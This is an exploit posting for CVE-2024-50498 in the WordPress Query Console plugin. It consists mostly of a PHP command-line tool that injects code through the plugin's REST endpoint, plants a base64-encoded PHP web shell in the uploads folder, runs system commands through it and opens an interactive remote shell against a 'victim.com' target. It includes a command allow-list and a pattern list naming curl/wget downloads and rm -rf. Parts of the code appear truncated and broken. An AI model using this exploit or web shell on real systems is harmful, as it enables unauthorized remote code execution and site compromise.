============================================================================================================================================= | # Title : WordPress Query Console 1.0 Exploit Implementation | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) | | # Vendor : https://wordpress.org/plugins/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/214250/ & CVE-2024-50498 [+] Summary : This code represents an advanced, class-based proof-of-concept targeting a WordPress Query Console vulnerability. It is designed as a CLI-only tool that automates payload upload, verification, command execution testing, and optional interactive shell access, with cleanup capabilities afterward. The implementation includes safety features such as a restricted command mode, basic rate limiting, OS detection, output sanitization, and payload markers to reduce false positives. [+] Usage : # Safe Mode (assumed) : php exploit.php --target http://victim.com # Unsafe Mode (more commands) :php exploit.php --target http://victim.com --unsafe --timeout 20 # No automatic cleanup : php exploit.php --target http://victim.com --no-cleanup [+] POC : target = rtrim($target, '/'); $this->url = $this->target . "/wp-json/wqc/v1/query"; $this->cmdUrl = null; $this->isWindows = null; $this->timeout = max(5, min($timeout, 60)); $this->payloadMarker = 'WQC_EXPLOIT_' . bin2hex(random_bytes(8)); } public function setTimeout($timeout) { $this->timeout = max(5, min($timeout, 60)); } private function banner() { $banner = << $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => $this->timeout, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_HTTPHEADER => $allHeaders, CURLOPT_HEADER => false ]); if ($method === 'POST') { curl_setopt($ch, CURLOPT_POST, true); if ($data !== null) { curl_setopt($ch, CURLOPT_POSTFIELDS, is_string($data) ? $data : json_encode($data)); if (is_array($data)) { $allHeaders[] = 'Content-Type: application/json'; curl_setopt($ch, CURLOPT_HTTPHEADER, $allHeaders); } } } $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); return [ 'code' => $httpCode, 'body' => $response !== false ? $response : '', 'error' => $error, 'success' => $httpCode >= 200 && $httpCode < 300 && empty($error) ]; } private function uploadPayload() { $host = $this->extractHostFromUrl($this->target); $headers = [ 'Host: ' . $host, 'Referer: ' . $this->target . '/wp-admin/admin.php?page=wp-query-console', 'Origin: ' . $this->target ]; $payloadCode = base64_encode('&1\""; } else { $cmd = escapeshellcmd($cmd) . " 2>&1"; } if (function_exists("system")) { @ob_start(); @system($cmd, $return_var); $output = @ob_get_clean(); } elseif (function_exists("passthru")) { @ob_start(); @passthru($cmd, $return_var); $output = @ob_get_clean(); } elseif (function_exists("exec")) { @exec($cmd, $outputArray, $return_var); $output = implode("\n", $outputArray); } elseif (function_exists("shell_exec")) { $output = @shell_exec($cmd); } if (empty($output) && $return_var != 0) { echo "Command failed with exit code: " . $return_var; } else { echo $output !== null ? $output : "No output"; } } else { echo "SYSTEM_INFO:OS=" . PHP_OS . ";PHP=" . PHP_VERSION . ";TIME=" . time() . ";MARKER=' . $this->payloadMarker . '"; } ?>'); $data = [ "queryArgs" => "file_put_contents('wp-content/uploads/' . date('Y') . '/' . date('m') . '/wqc_" . bin2hex(random_bytes(4)) . ".php', base64_decode('" . $payloadCode . "'));", "queryType" => "WP_Query" ]; $this->printMessage("Uploading payload...", "[+]"); $result = $this->httpRequest($this->url, 'POST', $data, $headers); if (!$result['success']) { $this->printMessage("Upload failed: " . ($result['error'] ?: "HTTP {$result['code']}"), "[-]"); return false; } $jsonResponse = json_decode($result['body'], true); if ($jsonResponse !== null) { if (isset($jsonResponse['status']) && $jsonResponse['status'] >= 400) { $this->printMessage("API Error: " . ($jsonResponse['message'] ?? json_encode($jsonResponse)), "[-]"); return false; } if (isset($jsonResponse['code']) && is_numeric($jsonResponse['code']) && $jsonResponse['code'] >= 400) { $this->printMessage("API Error Code: " . $jsonResponse['code'], "[-]"); return false; } if (isset($jsonResponse['success']) && $jsonResponse['success'] === false) { $this->printMessage("API reported failure", "[-]"); return false; } } $this->printMessage("Upload request completed", "[+]"); return true; } private function locateAndVerifyPayload() { $currentYear = date('Y'); $currentMonth = str_pad(date('n'), 2, '0', STR_PAD_LEFT); $possiblePaths = [ $this->target . "/wp-content/uploads/{$currentYear}/{$currentMonth}/", $this->target . "/wp-content/uploads/", $this->target . "/uploads/{$currentYear}/{$currentMonth}/", $this->target . "/uploads/" ]; $testFiles = ['wqc_*.php', 'cmd.php', 'shell.php']; foreach ($possiblePaths as $basePath) { $this->printMessage("Scanning: " . $basePath, "[*]"); foreach ($testFiles as $pattern) { if ($pattern === 'wqc_*.php') { for ($i = 0; $i < 3; $i++) { $testPath = $basePath . 'wqc_' . bin2hex(chr(97 + $i)) . '.php'; $result = $this->testPayloadFile($testPath); if ($result['found']) { $this->cmdUrl = $testPath; $this->parseSystemInfo($result['response']); $this->uploadVerified = true; return true; } } } else { $testPath = $basePath . $pattern; $result = $this->testPayloadFile($testPath); if ($result['found']) { $this->cmdUrl = $testPath; $this->parseSystemInfo($result['response']); $this->uploadVerified = true; return true; } } } } $this->printMessage("Payload not found in common locations", "[-]"); return false; } private function testPayloadFile($url) { $result = $this->httpRequest($url); if (!$result['success'] || $result['code'] !== 200) { return ['found' => false, 'response' => '']; } $body = trim($result['body']); if (strpos($body, $this->payloadMarker) !== false) { return ['found' => true, 'response' => $body]; } if (strpos($body, 'SYSTEM_INFO:') !== false) { return ['found' => true, 'response' => $body]; } if (strpos($body, ' true, 'response' => $body]; } return ['found' => false, 'response' => $body]; } private function parseSystemInfo($response) { if (preg_match('/SYSTEM_INFO:OS=([^;]+)/', $response, $matches)) { $os = strtolower($matches[1]); $this->isWindows = (strpos($os, 'win') === 0); $this->printMessage("Detected OS: " . $matches[1] . " (" . ($this->isWindows ? "Windows" : "Unix-like") . ")", "[+]"); } else { $this->isWindows = null; $this->printMessage("OS detection failed", "[-]"); } } private function testCommandExecution() { if (!$this->uploadVerified) { return false; } $this->printMessage("Testing command execution...", "[+]"); $testCommands = [ 'universal' => ['echo ' . $this->payloadMarker, 'whoami 2>&1', 'echo %CD% 2>&1 || pwd 2>&1'], 'windows' => ['ver 2>&1', 'dir 2>&1', 'echo %USERNAME% 2>&1'], 'unix' => ['uname -a 2>&1', 'id 2>&1', 'pwd 2>&1'] ]; $successCount = 0; $maxTests = 3; foreach ($testCommands['universal'] as $cmd) { $result = $this->executeCommand($cmd); if ($result['executed'] && !empty(trim($result['output']))) { $successCount++; // محاولة اكتشاف النظام من الناتج if ($this->isWindows === null) { $outputLower = strtolower($result['output']); if (strpos($outputLower, 'windows') !== false || strpos($outputLower, 'microsoft') !== false) { $this->isWindows = true; } elseif (strpos($outputLower, 'linux') !== false || strpos($outputLower, 'unix') !== false) { $this->isWindows = false; } } if ($successCount >= 2) { $this->printMessage("Command execution verified", "[+]"); return true; } } usleep(200000); } if ($this->isWindows !== null) { $type = $this->isWindows ? 'windows' : 'unix'; foreach ($testCommands[$type] as $cmd) { $result = $this->executeCommand($cmd); if ($result['executed']) { $successCount++; if ($successCount >= 2) { $this->printMessage("Command execution verified", "[+]"); return true; } } usleep(200000); } } $this->printMessage("Command execution test inconclusive (success: {$successCount}/{$maxTests})", "[!]"); return $successCount > 0; } private function executeCommand($command) { $result = $this->httpRequest($this->cmdUrl, 'GET', null, [], ['cmd' => $command]); if (!$result['success']) { return ['executed' => false, 'output' => '', 'error' => $result['error']]; } $output = trim($result['body']); $isErrorPage = ( strpos($output, ' 1000 ); $executed = !$isErrorPage && $output !== '' && strpos($output, $this->payloadMarker) === false; return [ 'executed' => $executed, 'output' => $output, 'error' => $isErrorPage ? 'HTML response detected' : '' ]; } private function validateCommand($command) { $command = trim($command); if (empty($command)) { return ['valid' => false, 'reason' => 'Empty command']; } $allowedCommands = [ 'whoami', 'id', 'pwd', 'ls', 'dir', 'cat', 'type', 'uname', 'hostname', 'ipconfig', 'ifconfig', 'netstat', 'ps', 'tasklist', 'echo', 'find', 'grep', 'wc', 'head', 'tail', 'df', 'du', 'free', 'top', 'env', 'set' ]; $baseCmd = explode(' ', $command)[0]; $baseCmd = preg_replace('/[^a-z0-9]/i', '', $baseCmd); if ($this->isWindows !== null) { if ($this->isWindows) { $allowedCommands = array_merge($allowedCommands, ['ver', 'systeminfo', 'net', 'sc', 'reg']); } else { $allowedCommands = array_merge($allowedCommands, ['ls', 'cp', 'mv', 'rm', 'mkdir', 'chmod', 'chown']); } } if (!in_array(strtolower($baseCmd), $allowedCommands)) { return [ 'valid' => false, 'reason' => "Command '{$baseCmd}' not in allowed list. Use --unsafe to bypass." ]; } $dangerousPatterns = [ '/\b(rm\s+-rf|del\s+\/q|format|mkfs|dd\s+if)/i', '/\b(wget|curl|ftp)\s+http/i', '/\|\s*(bash|sh|cmd|powershell)\s*$/i', '/`.*`/', '/\$\s*\(/', '/>\s*\/dev\/(sda|null)/i' ]; foreach ($dangerousPatterns as $pattern) { if (preg_match($pattern, $command)) { return ['valid' => false, 'reason' => 'Potentially dangerous command pattern detected']; } } return ['valid' => true, 'reason' => '']; } private function interactiveShell($unsafeMode = false) { $this->printMessage("Entering interactive shell...", "[+]"); echo "Type 'exit', 'quit', or press Ctrl+C to leave.\n"; if (!$unsafeMode) { echo "Safe mode enabled. Some commands may be restricted.\n"; echo "Use --unsafe flag for fewer restrictions.\n"; } echo "\n"; $commandHistory = []; $lastCommandTime = 0; $commandCount = 0; while (true) { echo "shell> "; $input = fgets(STDIN); if ($input === false) { echo "\n"; break; // Ctrl+D } $command = trim($input); if (empty($command)) { continue; } if (in_array(strtolower($command), ['exit', 'quit', ':q'])) { $this->printMessage("Exiting shell", "[+]"); break; } if ($command === ':history') { foreach ($commandHistory as $i => $cmd) { echo sprintf("[%d] %s\n", $i + 1, $cmd); } continue; } if ($command === ':info') { echo "Target: " . $this->target . "\n"; echo "Payload: " . $this->cmdUrl . "\n"; echo "OS: " . ($this->isWindows ? "Windows" : ($this->isWindows === false ? "Unix-like" : "Unknown")) . "\n"; echo "Commands executed: " . $commandCount . "\n"; continue; } $currentTime = microtime(true); if ($commandCount > 4 && ($currentTime - $lastCommandTime) < 2.0) { $wait = 2.0 - ($currentTime - $lastCommandTime); $this->printMessage(sprintf("Rate limit: waiting %.1f seconds...", $wait), "[!]"); usleep($wait * 1000000); } $lastCommandTime = microtime(true); $commandCount++; $commandHistory[] = $command; if (!$unsafeMode) { $validation = $this->validateCommand($command); if (!$validation['valid']) { echo "Command rejected: " . $validation['reason'] . "\n"; continue; } } $result = $this->executeCommand($command); if (!$result['executed']) { echo "Execution failed"; if (!empty($result['error'])) { echo ": " . $result['error']; } echo "\n"; continue; } $output = $result['output']; $output = preg_replace('/]*>(.*?)<\/script>/is', '', $output); $output = preg_replace('/]*>(.*?)<\/style>/is', '', $output); $output = strip_tags($output); $output = html_entity_decode($output, ENT_QUOTES | ENT_HTML5, 'UTF-8'); if (empty(trim($output))) { echo "(No output)\n"; } else { $lines = explode("\n", $output); if (count($lines) > 50) { echo "Output truncated to first 50 lines. Total: " . count($lines) . " lines\n"; echo "---\n"; $lines = array_slice($lines, 0, 50); $output = implode("\n", $lines) . "\n... [truncated]"; } echo $output . "\n"; } } } public function cleanup($force = false) { if (!$this->cmdUrl) { return false; } $this->printMessage("Attempting cleanup...", "[+]"); if ($this->isWindows) { $cleanupCmd = 'del /f "' . addslashes($this->cmdUrl) . '"'; } else { // Unix-like $cleanupCmd = 'rm -f "' . addslashes($this->cmdUrl) . '"'; } $result = $this->executeCommand($cleanupCmd); if ($result['executed']) { $check = $this->httpRequest($this->cmdUrl); if ($check['code'] === 404 || $check['code'] >= 400) { $this->printMessage("Cleanup successful", "[+]"); return true; } } $this->printMessage("Cleanup may have failed", "[-]"); return false; } public function exploit($unsafeMode = false) { $this->banner(); if (!$this->uploadPayload()) { $this->printMessage("Upload failed", "[-]"); return false; } if (!$this->locateAndVerifyPayload()) { $this->printMessage("Payload verification failed", "[-]"); echo "Enter payload URL manually (or press Enter to exit): "; $manualUrl = trim(fgets(STDIN)); if (!empty($manualUrl)) { $this->cmdUrl = $manualUrl; $this->uploadVerified = true; } else { return false; } } $executionTest = $this->testCommandExecution(); if (!$executionTest) { $this->printMessage("WARNING: Command execution may not work", "[!]"); echo "Continue anyway? (y/n): "; $response = trim(fgets(STDIN)); if (strtolower($response) !== 'y') { return false; } } $this->interactiveShell($unsafeMode); return true; } } if (php_sapi_name() !== 'cli') { die("This script must be run from command line\n"); } $options = getopt("", ["target:", "timeout:", "unsafe", "help", "no-cleanup"]); $target = $options['target'] ?? null; $timeout = isset($options['timeout']) ? intval($options['timeout']) : 10; $unsafeMode = isset($options['unsafe']); $noCleanup = isset($options['no-cleanup']); if (isset($options['help']) || !$target) { echo "WordPress Query Console CVE-2024-50498 Exploit by indoushka\n"; echo "============================================================\n\n"; echo "Usage: php " . basename(__FILE__) . " --target [OPTIONS]\n\n"; echo "Required:\n"; echo " --target Target WordPress URL (e.g., http://example.com)\n\n"; echo "Options:\n"; echo " --timeout Request timeout in seconds (5-60, default: 10)\n"; echo " --unsafe Disable command validation (less safe)\n"; echo " --no-cleanup Do not attempt to remove payload after exit\n"; echo " --help Show this help message\n\n"; echo "Examples:\n"; echo " php " . basename(__FILE__) . " --target http://wp-site.com\n"; echo " php " . basename(__FILE__) . " --target https://victim.com --timeout 15 --unsafe\n"; exit(1); } try { $exploit = new WordPressQueryConsoleExploit($target, $timeout); if (!$noCleanup) { register_shutdown_function(function() use ($exploit) { $exploit->cleanup(); }); } $success = $exploit->exploit($unsafeMode); if (!$success) { echo "\nExploit failed. Possible reasons:\n"; echo " - Target is not vulnerable\n"; echo " - Plugin not installed/activated\n"; echo " - Security restrictions\n"; echo " - Network/firewall issues\n"; exit(1); } } catch (Exception $e) { echo "[!] Fatal Error: " . $e->getMessage() . "\n"; echo "Trace: " . $e->getTraceAsString() . "\n"; exit(1); } Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================